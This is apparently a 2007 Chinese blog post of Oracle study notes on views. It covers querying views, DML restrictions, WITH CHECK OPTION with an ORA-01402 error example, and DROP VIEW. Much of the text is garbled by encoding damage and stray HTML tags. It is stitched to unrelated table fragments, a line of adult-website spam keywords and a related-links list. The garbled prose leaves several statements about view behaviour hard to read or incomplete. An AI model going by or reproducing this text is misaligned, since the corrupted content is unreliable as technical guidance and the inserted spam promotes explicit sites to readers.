          视图创徏成功后，可以�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图中检索数据，�q�点和从表中��索数据一栗��?/font>

          �q�可以查�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图的全部信息和指定的数据行和列�?/font>

   如：(x��)

         ��索数据：(x��)

          SQL>SELECT * FROM  dept_sum_vw�Q?/font>

         查询视图定义�Q?/font>

         SELECT view_name,text  from user_views;

            其中text昄��的内容�ؓ(f��)视图定义的SELECT语句�Q�可通过DESC USER_VIEWS

            得到相关信息�?/font>

修改视图�Q?/font>

        通过OR REPLACE 重新创徏同名视图卛_��?/font>

视图上的DML 操作�Q?/font>

        DML操作应遵循的原则�Q?/font>

        1.��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图可以执行DML操作�Q?/font>

        2.�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图包含GROUP 函数�Q�GROUP BY子句�Q�DISTINCT关键字时不能

           删除数据行；

        3.�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图不出��C��列情冉|��可通过视图修改��数据或插入数据：(x��)

            a.视图中包含GROUP 函数�Q�GROUP BY子句�Q�DISTINCT关键字；

            b.使用表达式定义的列；

            c.ROWNUM伪列�?/font>

            d.��中未�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图中选择的其他列定义为非�I�Z��无默认倹{�?/font>

视图可用于保持数据库的完整性，但作用有限�?/font>

通过视图执行引用完整性约束可在数据库�U�执行约束�?/font>

WITH CHECK OPTION 子句限定�Q?/font>

         通过视图执行的INSERTS和UPDATES操作不能创徏�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图��索不到的数据行，

         因�ؓ(f��)它会(x��)�Ҏ(gu��)��入或修改的数据行执行完整性约束和数据有效性检查�?/font>

  例如�Q?/font>

           CREATE OR REPLACE VIEW  vw_emp20

           AS  SELECT *  FROM  emp

           WHERE  deptno=20

           WITH CHECK OPTION constraint  vw_emp20_ck;

          视图已徏立�?/font>

            查询�l�果�Q?/font>

           SELECT empno,ename,job FROM vw_emp20;



          EMPNO                ENAME                JOB

---------------------           --------------          -------------

              7369                 SMITH                CLERK

              7566                 JONES               MANAGER

              7902                 FORD                ANALYST

          修改�Q?/font>

                UPDATE vw_emp20

                SET        deptno=20

                WHERE   empno=7902;

           ��生错误：(x��)

               UPDATE vw_emp20

                              *

               ERROR 位于�W�一行：(x��)

               ORA-01402�Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图WITH CHECK OPTION �q�反WHERE 子句

视图的删除：(x��)

            DROP VIEW  VIEW_NAME语句删除视图�?/font>

            删除视图的定义不影响��中的数据�?/font>

            只有视图所有者和具备DROP VIEW权限的用户可以删�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图�?/font>

            视图被删除后�Q�基于被删除视图的其�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图或应用将无效�?/font>

☜♥☞MengChuChen 2007-03-07 20:08 发表评论

name	xtype	�c�d��
syscolumns	S	�pȝ��?/div>
tabledefine	U	用户�?/div>

Table1			Table2
ID	TF1	VALUE1	ID	TF2	VALUE2
1	A	10	5	A	10
5	B	20	6	D	21
2	A	30	3	C	31
3	C	40	1	B	41

ID	TF1	VALUE1	ID	TF2	VALUE2
1	TFI1-1	10	1	TFI2-4	41
3	TFI1-4	40	3	TFI2-3	31
5	TFI1-2	20	5	TFI2-1	11

ID	TF1	VALUE1	ID	TF2	VALUE2
NULL	NULL	NULL	6	TFI2-2	21
1	TFI1-1	10	1	TFI2-4	41
3	TFI1-4	40	3	TFI2-3	31
5	TFI1-2	20	5	TFI2-1	11

亚洲AV成人片色在线观看,2022年亚洲午夜一区二区福利,国产精品亚洲专区在线播放

oracle分析函数

Oracle�(zh��n)�观���锁和乐观封锁在比较

Oracle SQL�_�֦�SQL语句讲解

ORACLE 字符集问�?

Oracle 数据导入�Ҏ(gu��)��比较

SQL Server 日期格式转换(Convert用法)DBCC命��o(h��)详解

���详�l�SQL注入�Ҏ(gu��)��

Oracle 常用技巧和脚本 选择�?yanlixin4csdn �?Blog

ORACLE 杂谈

常用SQL资料

ORACLE SQL性能优化�p�d��

ORACLE学习(f��n)�W�记 视图

Oracle�(zh��n)�观��锁和乐观封锁在比较

��详�l�SQL注入�Ҏ(gu��)��

Oracle 常用技巧和脚本选择�?yanlixin4csdn �?Blog

ORACLE学习(f��n)�W�记视图